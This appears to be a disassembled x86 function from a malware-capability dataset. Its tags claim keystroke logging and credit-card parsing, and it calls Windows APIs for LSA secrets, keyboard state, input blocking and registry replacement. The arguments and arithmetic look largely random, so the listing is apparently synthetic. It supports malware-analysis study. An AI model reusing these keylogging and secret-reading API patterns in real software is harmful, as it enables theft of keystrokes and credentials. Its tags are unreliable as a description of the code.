Function at 0x4055d0
Capabilities:
Get keyboard layout
Log keystrokes via polling
Parse credit card information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
mov eax, dword [0x4309cc]
mov ecx, dword [0x4309d8]
imul eax, dword [0x4309e0]
sub ecx, eax
push ebx
mov dword [0x4309d8], ecx
mov ecx, dword [0x4309dc]
add ecx, 0xffffffe0
push esi
test ecx, ecx
push edi
je 0x405622
mov edx, dword [0x4309d0]
mov esi, dword [0x4309c8]
mov eax, dword [0x4309ec]
xor ecx, ecx
cmp edx, esi
setge cl
sar eax, cl
mov dword [0x4309ec], eax
push fcn.00404750
push dword fs:[0]
mov dword fs:[0], esp
push 0
push 5
push 0
call sub.ADVAPI32.dll_LsaQueryInformationPolicy
push 0xfffffffffffffffd
push 0
push 0xffffffffffffffc1
push 0x20
push 0xffffffffffffff84
call fcn.00401900
push 0x20
push 0xffffff3f
call fcn.00401190
lea eax, [ebp - 4]
lea ecx, [ebp - 0x3c]
push eax
push ecx
push 0
push 0
mov dword [ebp - 4], 0x25
call sub.ADVAPI32.dll_LsaEnumerateAccountRights
push 1
push 1
push 0xffffffffffffffff
push 0xffffffffffffff98
push 0
call fcn.00405d30
push 9
push 0x348
push 0x61
push 0x3d
push 0x29
call sub.USER32.dll_DdeQueryStringA
push 0xffffffffffffffcd
call fcn.00405500
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetClipCursor]
xor eax, eax
push 0x1bf
mov dword [ebp - 0x1a], eax
push 0x2e
lea ecx, [ebp - 4]
push 0x36
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x16], eax
push ecx
push edx
mov dword [ebp - 0x12], eax
push 0x429
push 0x30
mov byte [ebp - 0x1c], 0x37
mov byte [ebp - 0x1b], 0
mov byte [ebp - 0xe], al
mov dword [ebp - 4], 0x3d
call dword [sym.imp.USER32.dll_ToUnicodeEx]
lea eax, [ebp - 4]
lea ecx, [ebp - 8]
push eax
lea edx, [ebp - 0xc]
push ecx
lea eax, [ebp - 0x5c]
push edx
lea ecx, [ebp - 0x1c]
push eax
push ecx
push 0x21
lea edx, [ebp - 0x48]
mov esi, 0x33
mov edi, 0x23
push 0x2b
push edx
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], edi
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_AccessCheck]
mov ebx, 0x2c
mov dword [ebp - 0x38], ebx
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0xc]
push eax
lea edx, [ebp - 8]
push ecx
lea eax, [ebp - 4]
push edx
lea ecx, [ebp - 0x34]
push eax
lea edx, [ebp - 0x30]
push ecx
lea eax, [ebp - 0x24]
push edx
lea ecx, [ebp - 0x28]
push eax
lea edx, [ebp - 0x2c]
push ecx
lea eax, [ebp - 0x38]
push edx
push eax
mov dword [ebp - 0xc], esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
push str.y4nxlR2axQE5
push 0x3a
mov dword [ebp - 0x2c], 0x35
mov dword [ebp - 0x28], 0x3b
mov dword [ebp - 0x24], 0x40
mov dword [ebp - 0x30], 0x38
mov dword [ebp - 0x34], 0x3f
mov dword [ebp - 4], 0x31
mov dword [ebp - 8], 0x21
call esi
push 0
push 0
push str.JRdh9tT7j1l
call dword [sym.imp.ADVAPI32.dll_ObjectDeleteAuditAlarmA]
call dword [sym.imp.USER32.dll_GetActiveWindow]
push 0
call sub.USER32.dll_BlockInput
push 0x29
push 0x6c
push 0x2a
call dword [sym.imp.USER32.dll_GetClipboardFormatNameA]
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x44]
push ecx
lea eax, [ebp - 0x58]
push edx
push eax
call dword [sym.imp.USER32.dll_SubtractRect]
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x38], 0x40
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_GetOldestEventLogRecord]
lea edx, [ebp - 0x14]
lea eax, [ebp - 0x38]
push edx
lea ecx, [ebp - 0x2c]
push eax
lea edx, [ebp - 0x28]
push ecx
lea eax, [ebp - 0x24]
push edx
lea ecx, [ebp - 0x30]
push eax
lea edx, [ebp - 0x34]
push ecx
lea eax, [ebp - 0xc]
push edx
mov dword [ebp - 4], 0x21
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x34], 0x35
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x24], 0x39
mov dword [ebp - 0x28], 0x3e
mov dword [ebp - 0x2c], 0x25
mov dword [ebp - 0x38], 0x20
push eax
lea ecx, [ebp - 8]
lea edx, [ebp - 4]
push ecx
push edx
push str.h4SG4o1d4toz
push 0x2a
call esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
xor edi, edi
push edi
call sub.USER32.dll_BlockInput
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
push edi
call fcn.004018a0
lea eax, [ebp - 0x38]
lea ecx, [ebp - 0x5c]
push eax
push 1
push 1
push ecx
push 0x3f
push 0xf74
lea edx, [ebp - 0x20]
push 0xeaf
push edx
push str.febsmihriokxslmrkm
push str.a31k1AYNf40
push edi
push str.j887uqh0R15763U9vto
mov dword [ebp - 0x38], edi
call dword [sym.imp.ADVAPI32.dll_ObjectOpenAuditAlarmA]
push 0x31
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
push 0x6d
push 0x79
call dword [sym.imp.USER32.dll_CharPrevA]
push 0x3d
push edi
push 0x29
call dword [sym.imp.USER32.dll_OpenInputDesktop]
push 1
push str.C8s67
push 0x93b
push edi
call dword [sym.imp.USER32.dll_LoadStringA]
push 0x36
push edi
push edi
push 1
push edi
call fcn.00401900
call dword [sym.imp.USER32.dll_GetOpenClipboardWindow]
call dword [sym.imp.USER32.dll_GetKBCodePage]
push str.b3451V693XV49037q2n
push str.hcGGSuH1U6793
push 0x80000060
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyA]
push 0x3b
call dword [sym.imp.USER32.dll_GetKeyState]
push edi
push 0x3e
lea eax, [ebp - 0xf0]
push 0x32
push eax
push 0x62
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsExA]
xor ecx, ecx
lea edx, [ebp - 0x18]
mov dword [ebp - 0x16], ecx
push edx
mov dword [ebp - 0x12], ecx
mov byte [ebp - 0x18], 0x30
mov byte [ebp - 0x17], 0
mov byte [ebp - 0xe], cl
call dword [sym.imp.USER32.dll_SetKeyboardState]
push 0x2e
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
push 0x39
push 0x39
call fcn.004017a0
mov esi, dword [sym.imp.USER32.dll_GetForegroundWindow]
call esi
lea eax, [ebp - 0x38]
push 1
push eax
push 0x3d
push 0x40
mov dword [ebp - 0x38], edi
call dword [sym.imp.USER32.dll_GetDlgItemInt]
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
push 0x2a
push edi
push 0x20
push 0x2e
push 0xffffffffffffffe0
call esi
push 0x4d7
push str.W4X1NiZuN303Z931z
push 0x2a
call dword [sym.imp.ADVAPI32.dll_RegRestoreKeyA]
push 0x64
call dword [sym.imp.USER32.dll_CharLowerA]
push 0x393
push 0x3a
call sub.USER32.dll_DdeQueryNextServer
push 0x697
xor ecx, ecx
push 0x528
push 0x32
mov dword [ebp - 0x16], ecx
push 0x3fa
lea edx, [ebp - 0x18]
push 0x3e
mov dword [ebp - 0x12], ecx
push edx
push 0x20
mov byte [ebp - 0x18], 0x35
mov byte [ebp - 0x17], 0
mov byte [ebp - 0xe], cl
call sub.USER32.dll_DdeCreateDataHandle
push edi
push 0x3e
call fcn.00401190
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x3c]
push eax
push ecx
push edi
call sub.ADVAPI32.dll_LsaRetrievePrivateData
push 1
push 0xffffffffffffffdf
call fcn.00401190
push 0x26
push edi
push 0x29
push 0x30
push 0xffffffffffffffc2
call esi
mov ecx, dword [0x4309fc]
xor eax, eax
cmp ecx, edi
mov edx, 0x10
je 0x405b89
mov ebx, dword [sym.imp.USER32.dll_GetKeyboardLayout]
xor ecx, ecx
cmp edx, 0xffffffd6
setg cl
xor ecx, eax
mov eax, edx
not eax
and ecx, eax
mov eax, 0x34
mov esi, ecx
sar eax, cl
shl ecx, 0x35
shl esi, cl
xor ecx, ecx
and edx, eax
cmp esi, 0xffffffc4
mov eax, esi
setg cl
imul eax, esi
sub edx, ecx
mov ecx, 0x35
sub edx, 0x7cb
xor edx, eax
mov eax, dword [0x4309fc]
sub ecx, edx
add esi, ecx
dec eax
mov dword [0x4309fc], eax
mov eax, esi
xor eax, edx
mov ecx, esi
sub edx, eax
or ecx, edx
je 0x405a5e
xor ecx, ecx
cmp edx, 0x2f
setg cl
sar esi, cl
xor eax, eax
cmp edx, esi
setl al
sub edx, eax
xor ecx, ecx
sar edx, 1
cmp esi, 0x3e
setl cl
add edx, ecx
mov eax, edx
mov ecx, edx
shl eax, cl
xor ecx, ecx
or esi, eax
cmp esi, edx
setl cl
and edx, ecx
mov ecx, esi
and ecx, edx
mov eax, edx
shl esi, cl
mov ecx, edx
shl eax, cl
test eax, eax
je 0x405a9a
mov ecx, esi
and ecx, edx
shl esi, cl
cmp edx, esi
jl 0x405aa6
mov eax, esi
mov ecx, edx
shl eax, cl
or esi, eax
sub esi, 0x5d
xor ecx, ecx
cmp esi, 0xffffffc5
push 0x40
setne cl
xor ecx, edx
xor edx, edx
cmp ecx, 0x2f
setge dl
xor esi, edx
call ebx
push 0
call fcn.004019b0
mov ecx, esi
push str.f55H543NPu17
push str.u46pZj809K
and ecx, 0xffffffc2
push str.ULgx9lGB6oC3q8e7SJ
push 0xffffffffffffffc0
sar esi, cl
mov edi, 0xffffffd4
call dword [sym.imp.ADVAPI32.dll_RegReplaceKeyA]
mov eax, esi
xor eax, edi
je 0x405afb
xor ecx, ecx
cmp esi, 0x3f
setne cl
sub edi, ecx
cmp edi, esi
jne 0x405b00
inc edi
mov edx, esi
mov ecx, esi
shl edx, cl
xor eax, eax
mov ecx, edx
sar edi, cl
mov ecx, 0x35
cmp edi, 0x31
setle al
xor eax, esi
sub ecx, edi
and eax, ecx
xor edx, edx
inc eax
cmp eax, edi
setne dl
sub eax, edx
mov ecx, eax
or ecx, edi
sar edi, cl
lea ecx, [eax + eax*2]
shl ecx, 4
add ecx, eax
or edi, ecx
mov ecx, eax
sar eax, cl
mov edx, edi
mov ecx, eax
or ecx, edx
add edx, ecx
mov ecx, eax
neg ecx
shl ecx, 3
sub ecx, eax
shl ecx, 2
sub ecx, eax
je 0x405b5d
xor ecx, ecx
cmp edx, 0x36
setle cl
sub eax, ecx
xor ecx, ecx
cmp edx, 0x2f
setg cl
and edx, ecx
xor ecx, ecx
cmp edx, 0x26
setg cl
shl eax, cl
xor ecx, ecx
cmp edx, 0x20
sete cl
add edx, ecx
mov ecx, dword [0x4309fc]
test ecx, ecx
jne 0x4059fd
xor ecx, ecx
cmp eax, edx
setne cl
and eax, ecx
xor ecx, ecx
cmp eax, 0x2f
sete cl
and eax, ecx
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, ecx
lea ecx, [edx + 0x29]
test ecx, ecx
je 0x405bb5
xor ecx, ecx
cmp eax, edx
setge cl
add eax, ecx
mov esi, 0xffffffd7
mov ecx, edx
sar esi, cl
mov ecx, eax
and ecx, 0x3a
xor esi, edx
sar esi, cl
mov ecx, eax
mov edx, esi
shl edx, cl
test edx, edx
je 0x405bd6
lea ecx, [esi - 0x24]
or esi, ecx
mov edx, esi
mov ecx, esi
sar edx, cl
test edx, edx
je 0x405be9
xor ecx, ecx
cmp eax, esi
setg cl
sub eax, ecx
xor edx, edx
cmp eax, 0xffffffc3
setne dl
xor esi, edx
mov ecx, esi
sar ecx, 0x2a
shl eax, cl
mov ecx, eax
or ecx, esi
je 0x405c05
lea ecx, [eax - 0x3a]
shl eax, cl
xor ecx, ecx
cmp eax, 0xffffffdb
setne cl
sar eax, cl
mov edx, eax
xor edx, esi
and eax, edx
lea ecx, [eax + 0x26]
sar eax, cl
test eax, 0xffffffc3
je 0x405c2b
xor ecx, ecx
cmp eax, 0x36
setge cl
and esi, ecx
cmp esi, 0x34
je 0x405c39
xor ecx, ecx
cmp eax, esi
sete cl
shl esi, cl
xor edx, edx
cmp esi, 0x3b
setl dl
xor esi, edx
lea ecx, [esi + esi*2]
lea edx, [esi + ecx*4]
mov ecx, 0x31
shl edx, 2
sub ecx, esi
or eax, edx
sar esi, cl
xor ecx, ecx
cmp eax, 0xffffffdf
setge cl
or esi, ecx
mov ecx, eax
cmp esi, ecx
jne 0x405c69
xor ecx, ecx
lea edx, [esi - 0x34]
lea eax, [esi - 0x2b]
mov edx, esi
or ecx, eax
xor edx, 0xffffffd5
je 0x405c7a
and ecx, esi
inc esi
mov eax, ecx
and eax, esi
sub esi, eax
cmp ecx, 0xffffffc4
jl 0x405c8c
mov edx, ecx
sar edx, cl
xor esi, edx
mov eax, ecx
shl eax, cl
test eax, eax
je 0x405c9b
mov edx, ecx
xor edx, 0x27
sub esi, edx
cmp ecx, 0x27
jge 0x405caa
xor eax, eax
cmp esi, 0x39
setne al
add ecx, eax
mov edx, 0xffffffc8
shl edx, cl
test edx, edx
je 0x405cc3
mov ecx, esi
shl ecx, 4
sub ecx, esi
neg ecx
shl ecx, 2
shl esi, cl
mov edx, 0x4aa57
mov eax, esi
mov ecx, esi
shl eax, cl
test eax, eax
je 0x405cd8
mov eax, esi
sar eax, cl
or esi, eax
mov eax, esi
neg eax
dec edx
jne 0x405cc8
xor ecx, ecx
cmp esi, 0xffffffde
setg cl
xor esi, ecx
xor edx, edx
cmp esi, eax
setg dl
sub eax, edx
cmp eax, 0x26
jg 0x405cfe
mov ecx, eax
xor ecx, 0xffffffcf
and esi, ecx
test esi, esi
je 0x405d0c
xor edx, edx
cmp esi, 0xffffffcb
setl dl
or esi, edx
mov ecx, eax
and ecx, 0x3b
sar eax, cl
mov ecx, eax
or ecx, esi
shl esi, cl
xor ecx, ecx
cmp esi, 0x3d
setg cl
sub eax, ecx
call fcn.00404750
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret